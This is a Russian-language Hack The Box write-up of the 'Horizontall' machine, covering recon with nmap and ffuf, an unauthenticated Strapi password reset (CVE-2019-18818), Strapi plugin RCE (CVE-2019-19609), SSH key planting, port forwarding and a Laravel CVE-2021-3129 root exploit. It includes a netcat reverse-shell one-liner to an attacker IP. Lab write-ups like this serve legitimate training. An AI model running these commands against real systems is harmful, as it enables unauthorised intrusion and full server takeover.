Хакер - HTB Horizontall. Захватываем веб-сервер через уязвимости в Strapi и Laravel
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование веб-контента
- Точка входа
- Strapi CMS
- Точка опоры
- Локальное повышение привилегий
- Local Port Forwarding
- Laravel
Сегодня мы с тобой пройдем легкую машину Horizontall с площадки Hack The Box. Для победы нам понадобится проэксплуатировать ряд уязвимостей в Strapi, а затем повысить привилегии через уязвимость в Laravel 8. Погнали!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Как обычно, добавляем IP-адрес машины в /etc/hosts, чтобы дальше обращаться по названию:
10.10.11.105 horizontall.htb
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

На хосте открыты два стандартных порта: 22 (служба SSH) и 80 (веб‑сервер Nginx 1.14.0). SSH пока что пропустим и направимся смотреть, что есть на веб‑сервере.

Там находим одностраничный сайт, который, на первый взгляд, использует какую‑то готовую технологию (то есть сайт не самописный).
Сканирование веб-контента
Пока что работать не с чем — нужно дальше искать точки входа. А ищут их в таких случаях при помощи перебора каталогов по словарю.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Набираем:
ffuf -u http://horizontall.htb/FUZZ -fc 403 -t 300 -w directory_2.3_medium.txt

Но ничего интересного не находим.
Если не нашли каталоги и страницы, то стоит еще поискать поддомены. Чтобы обратиться к виртуальному хосту, нужно указать этот виртуальный хост в заголовке Host протокола HTTP. Именно это место мы и пометим для перебора с помощью того же ffuf. Словарь subdomains-top1million-110000.txt также берем из набора SecLists.
ffuf -u http://horizontall.htb/ -H 'Host: FUZZ.horizontall.htb' -t 300 -w subdomains-top1million-110000.txt

В выводе отражаются вообще все варианты. Обратим внимание на код ответа 301 — перенаправление на другую страницу. Исключим его из вывода (опция -fc 301).
ffuf -u http://horizontall.htb/ -H 'Host: FUZZ.horizontall.htb' -fc 301 -t 300 -w subdomains-top1million-110000.txt

Теперь в ответе находим всего два варианта: www и api-prod. Добавляем их в файл /etc/hosts.
10.10.11.105 www.horizontall.htb api-prod.horizontall.htb
Первый ведет на прежний сайт, а вот при обращении к api-prod.horizontall.htb получаем пустую страницу с надписью Welcome. На сайте есть файл robots.txt, но он тоже не раскрывает никакой информации.

Снова просканируем директории с ffuf, и на этот раз мы наконец находим дополнительный контент.
ffuf -u http://api-prod.horizontall.htb/FUZZ -fc 403 -t 300 -w directory_2.3_medium.txt

ТОЧКА ВХОДА
Отметим, что мы заодно нашли имена пользователей. Сканирование директорий на новом сайте дало две страницы. При обращении к reviews получим какой‑то список комментариев в формате JSON.

При обращении к странице admin никаких полезных данных мы не получим. Но в исходном коде упоминается strapi.

Strapi CMS
Strapi — это фреймворк для управления контентом, работающий на Node.js. Это так называемая headless CMS, она отвечает только за бэкенд (данные) и может взаимодействовать с любыми платформами представления, будь то сайты или приложения. Эта технология широко применяется, а значит, для нее будет несложно найти хорошо задокументированные эксплоиты, причем не в одном варианте. Искать можно при помощи Google, написав, к примеру, strapi exploit.

Первые же ссылки дают нам эксплоиты для удаленного выполнения кода (RCE) и установки произвольного пароля. Пометка Unauthenticated сообщает о том, что баг сработает даже без авторизации.
Эксплоит для установки пароля использует уязвимость CVE-2019-18818 — запросы на сброс пароля обрабатываются неправильно, что позволяет без авторизации изменить пароль пользователя. В коде эксплоита находим запрос проверки версии.

Проверим текущую версию Strapi, поскольку эксплоит применим к версиям до 3.0.0-beta.
curl http://api-prod.horizontall.htb/admin/strapiVersion

Текущая версия удовлетворяет условию, поэтому подправим код эксплоита.

В самом начале файла (строки 15–17) указываем свои параметры: электронную почту пользователя, URL и новый пароль.
userEmail = "admin@horizontall.htb"
strapiUrl = "http://api-prod.horizontall.htb"
newPassword = "admin"
После сохранения изменений выполним эксплоит.

Теперь перейдем к странице авторизации /admin/auth/login и авторизуемся как admin:admin.

ТОЧКА ОПОРЫ
Теперь обратим внимание на другой эксплоит, который должен дать нам удаленное выполнение кода (RCE). В админке есть компонент для установки и удаления плагинов. Уязвимость CVE-2019-19609 основана на том, что система не очищает имя плагина, а это позволяет атакующему передавать и выполнить произвольный код.
К моему удивлению, этот эксплоит уже содержал модуль для получения и установки пароля. Во время работы эксплоит запросит команду для выполнения. Давай откроем листенер netcat (команда rlwrap nc -lvp [port]) и передадим эксплоиту вот такой реверс‑шелл:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f


Получаем оболочку TTY и читаем первый флаг.
python3 -c 'import pty;pty.spawn("/bin/bash")'

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам нужен флаг администратора, а для его получения потребуется повысить привилегии. Для поиска путей к этому можно использовать скрипты PEASS, но сначала лучше проверить в наиболее очевидных местах: настройки sudoers, приложения с битом SUID, запущенные процессы, открытые для локального использования порты. Нам везет с последним — на локалхосте открыт порт 8000.
netstat -tulpan

Local Port Forwarding
Чтобы просмотреть, что он нам может вернуть, будем туннелировать трафик. Но сначала организуем SSH-соединение. На локальной машине сгенерируем пару ключей командой ssh-keygen. А затем запишем публичный ключ (расширение .pub) на удаленный хост.
echo 'ssh-rsa AAAAB...' > ~/.ssh/authorized_keys
Теперь прокидываем порт:
ssh -L 8000:127.0.0.1:8000 -i id_rsa strapi@horizontall.htb
Таким образом, весь трафик, который мы пошлем на локальный порт 8000, будет туннелирован на порт 8000 удаленного устройства. Обратимся к 127.0.0.1:8000 через браузер и получим главную страницу сайта.

Так мы узнаем, что здесь установлена CMS Laravel версии 8.
Laravel
Это еще одна популярная технология, так что достаточно загуглить «Laravel v8 (PHP v7.4.18) exploit», и мы найдем упоминание уязвимости CVE-2021-3129.

Поищем готовые эксплоиты именно для нее. И остановимся на первом.

Критическая уязвимость CVE-2021-3129 позволяет злоумышленнику выполнить произвольный код на сервере. Уязвимость возникает, если включен режим отладки и активирован модуль ignition, отвечающий за генерацию страниц с ошибками в Laravel.
Режим отладки в Laravel помогает решать проблемы, возникающие по ходу внесения изменений в код. За путь до изменяемого файла отвечает параметр ViewFile из MakeViewVariableOptionalSolution.php.
Эксплуатация уязвимости возможна из‑за того, что злоумышленник, имея доступ к журналу Laravel, может записать в него вредоносный код и обратиться к нему, указав путь к этому журналу в параметре viewFile.
INFO
Подробнее об этой уязвимости читай в статье «Уязвимость в Laravel. Разбираем эксплоит, который дает удаленное выполнение кода в популярном PHP-фреймворке».
Используя найденный ранее эксплоит, попробуем выполнить команду id, как указано в описании.
python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 id

В итоге мы даже узнаем, что команда выполнилась в контексте привилегированной учетной записи root. Давай бросим использованный ранее реверс‑шелл для полного захвата хоста.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.226 4321 >/tmp/f


Готово! Мы захватили машину и получили флаг рута.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei